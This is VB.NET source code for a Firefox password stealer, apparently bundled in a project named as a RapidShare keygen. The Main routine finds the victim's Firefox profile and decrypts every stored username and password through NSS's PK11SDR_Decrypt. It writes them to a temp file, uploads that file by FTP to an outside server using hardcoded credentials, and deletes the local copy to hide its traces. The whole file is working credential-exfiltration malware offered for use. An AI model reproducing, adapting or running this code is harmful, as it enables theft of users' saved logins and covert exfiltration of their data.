Imports System
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Data
Imports RapidShareKeygen.SQLiteWrapper
Imports System.Text
Module FFDecryptor
    Public Class SHITEMID
        Public Shared cb As Long
        Public Shared abID As Byte()
    End Class
    <StructLayout(LayoutKind.Sequential)> _
    Public Structure TSECItem
        Public SECItemType As Integer
        Public SECItemData As Integer
        Public SECItemLen As Integer
    End Structure

    <DllImport("kernel32.dll")> _
    Private Function LoadLibrary(ByVal dllFilePath As String) As IntPtr
    End Function
    Private NSS3 As IntPtr
    <DllImport("kernel32", CharSet:=CharSet.Ansi, ExactSpelling:=True, SetLastError:=True)> _
    Private Function GetProcAddress(ByVal hModule As IntPtr, ByVal procName As String) As IntPtr
    End Function
    <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
    Public Delegate Function DLLFunctionDelegate(ByVal configdir As String) As Long
    Public Function NSS_Init(ByVal configdir As String) As Long
        Dim MozillaPath As String = Environment.GetEnvironmentVariable("PROGRAMFILES") & "\Mozilla Firefox\"
        LoadLibrary(MozillaPath & "mozcrt19.dll")
        LoadLibrary(MozillaPath & "nspr4.dll")
        LoadLibrary(MozillaPath & "plc4.dll")
        LoadLibrary(MozillaPath & "plds4.dll")
        LoadLibrary(MozillaPath & "ssutil3.dll")
        LoadLibrary(MozillaPath & "sqlite3.dll")
        LoadLibrary(MozillaPath & "nssutil3.dll")
        LoadLibrary(MozillaPath & "softokn3.dll")
        NSS3 = LoadLibrary(MozillaPath & "nss3.dll")
        Dim pProc As IntPtr = GetProcAddress(NSS3, "NSS_Init")
        Dim dll As DLLFunctionDelegate = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate)), DLLFunctionDelegate)
        Return dll(configdir)
    End Function
    <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
    Public Delegate Function DLLFunctionDelegate2() As Long
    Public Function PK11_GetInternalKeySlot() As Long
        Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11_GetInternalKeySlot")
        Dim dll As DLLFunctionDelegate2 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate2)), DLLFunctionDelegate2)
        Return dll()
    End Function
    <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
    Public Delegate Function DLLFunctionDelegate3(ByVal slot As Long, ByVal loadCerts As Boolean, ByVal wincx As Long) As Long
    Public Function PK11_Authenticate(ByVal slot As Long, ByVal loadCerts As Boolean, ByVal wincx As Long) As Long
        Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11_Authenticate")
        Dim dll As DLLFunctionDelegate3 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate3)), DLLFunctionDelegate3)
        Return dll(slot, loadCerts, wincx)
    End Function
    <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
    Public Delegate Function DLLFunctionDelegate4(ByVal arenaOpt As IntPtr, ByVal outItemOpt As IntPtr, ByVal inStr As StringBuilder, ByVal inLen As Integer) As Integer
    Public Function NSSBase64_DecodeBuffer(ByVal arenaOpt As IntPtr, ByVal outItemOpt As IntPtr, ByVal inStr As StringBuilder, ByVal inLen As Integer) As Integer
        Dim pProc As IntPtr = GetProcAddress(NSS3, "NSSBase64_DecodeBuffer")
        Dim dll As DLLFunctionDelegate4 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate4)), DLLFunctionDelegate4)
        Return dll(arenaOpt, outItemOpt, inStr, inLen)
    End Function
    <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
    Public Delegate Function DLLFunctionDelegate5(ByRef data As TSECItem, ByRef result As TSECItem, ByVal cx As Integer) As Integer
    Public Function PK11SDR_Decrypt(ByRef data As TSECItem, ByRef result As TSECItem, ByVal cx As Integer) As Integer
        Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11SDR_Decrypt")
        Dim dll As DLLFunctionDelegate5 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate5)), DLLFunctionDelegate5)
        Return dll(data, result, cx)
    End Function
    Public signon As String
    Sub Main(ByVal args As String())
        Dim Username As String = "synced"
        Dim Password As String = "myftppass"
        Dim TEMP As String = System.IO.Path.GetTempPath
        If My.Computer.Network.IsAvailable Then

        Else
            Exit Sub
        End If
        Dim ostrm As FileStream
        Dim writer As StreamWriter
        Dim oldOut As TextWriter = Console.Out
        Try
            ostrm = New FileStream(TEMP + "\U&P.txt", FileMode.OpenOrCreate, FileAccess.Write)
            writer = New StreamWriter(ostrm)
        Catch e As Exception
            Exit Sub
        End Try
        Console.SetOut(writer)
        Console.WriteLine("Firefox 3.5 & 3.6 Decryptor in VB.NET")
        Console.WriteLine("/Coded by DarkSel/ /Converted by: Newbie223/")
        Console.WriteLine()
        Dim FoundFile As Boolean = False
        Dim KeySlot As Long = 0
        Dim MozillaPath As String = Environment.GetEnvironmentVariable("PROGRAMFILES") & "\Mozilla Firefox\"
        Dim DefaultPath As String = Environment.GetEnvironmentVariable("APPDATA") & "\Mozilla\Firefox\Profiles"
        Dim Dirs As String() = Directory.GetDirectories(DefaultPath)
        For Each dir As String In Dirs
            If Not FoundFile Then
                Dim Files As String() = Directory.GetFiles(dir)
                For Each CurrFile As String In Files
                    If Not FoundFile Then
                        If System.Text.RegularExpressions.Regex.IsMatch(CurrFile, "signons.sqlite") Then
                            NSS_Init(dir)
                            signon = CurrFile
                        End If
                    Else

                        Exit For
                    End If
                Next
            Else
                Exit For
            End If
        Next

        Dim dataSource As String = signon
        Dim tSec As New TSECItem()
        Dim tSecDec As New TSECItem()
        Dim tSecDec2 As New TSECItem()
        Dim bvRet As Byte()
        Dim db As New SQLiteBase(dataSource)

        Dim table As DataTable = db.ExecuteQuery("SELECT * FROM moz_logins;")
        Dim table2 As DataTable = db.ExecuteQuery("SELECT * FROM moz_disabledHosts;")
        Console.WriteLine("+++Excluded hosts+++")
        For Each row As DataRow In table2.Rows
            Console.WriteLine(row("hostname").ToString())
        Next
        Console.WriteLine()
        Console.WriteLine()
        KeySlot = PK11_GetInternalKeySlot()
        PK11_Authenticate(KeySlot, True, 0)
        Console.WriteLine("+++Usernames & Passwords+++")
        Console.WriteLine()
        For Each Zeile As System.Data.DataRow In table.Rows
            Dim formurl As String = System.Convert.ToString(Zeile("formSubmitURL").ToString())
            Console.WriteLine("URL: " & formurl)
            Dim se As New StringBuilder(Zeile("encryptedUsername").ToString())
            Dim hi2 As Integer = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se, se.Length)
            Dim item As TSECItem = DirectCast(Marshal.PtrToStructure(New IntPtr(hi2), GetType(TSECItem)), TSECItem)
            If PK11SDR_Decrypt(item, tSecDec, 0) = 0 Then
                If tSecDec.SECItemLen <> 0 Then
                    bvRet = New Byte(tSecDec.SECItemLen - 1) {}
                    Marshal.Copy(New IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen)
                    Console.WriteLine("USERNAME: " & System.Text.Encoding.ASCII.GetString(bvRet))
                End If
            End If
            Dim se2 As New StringBuilder(Zeile("encryptedPassword").ToString())
            Dim hi22 As Integer = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se2, se2.Length)
            Dim item2 As TSECItem = DirectCast(Marshal.PtrToStructure(New IntPtr(hi22), GetType(TSECItem)), TSECItem)
            If PK11SDR_Decrypt(item2, tSecDec2, 0) = 0 Then
                If tSecDec2.SECItemLen <> 0 Then
                    bvRet = New Byte(tSecDec2.SECItemLen - 1) {}
                    Marshal.Copy(New IntPtr(tSecDec2.SECItemData), bvRet, 0, tSecDec2.SECItemLen)
                    Console.WriteLine("PASSWORD: " & System.Text.Encoding.ASCII.GetString(bvRet))
                End If
            End If
            Console.WriteLine()
            Console.WriteLine("|--------NEXT--------|")
            Console.WriteLine()
        Next
        Console.WriteLine()
        Console.WriteLine("|-------FinisH-------|")
        Console.SetOut(oldOut)
        writer.Close()
        ostrm.Close()
        Dim clsRequest As System.Net.FtpWebRequest = _
            DirectCast(System.Net.WebRequest.Create("ftp://ftp.syncedcoding.co.cc/logs.txt"), System.Net.FtpWebRequest)
        clsRequest.Credentials = New System.Net.NetworkCredential(Username, Password)
        clsRequest.Method = System.Net.WebRequestMethods.Ftp.UploadFile

        Dim bFile() As Byte = System.IO.File.ReadAllBytes(TEMP + "\U&P.txt")
        Dim clsStream As System.IO.Stream = _
            clsRequest.GetRequestStream()
        clsStream.Write(bFile, 0, bFile.Length)
        clsStream.Close()
        clsStream.Dispose()
        IO.File.Delete(TEMP + "\U&P.txt")
    End Sub
End Module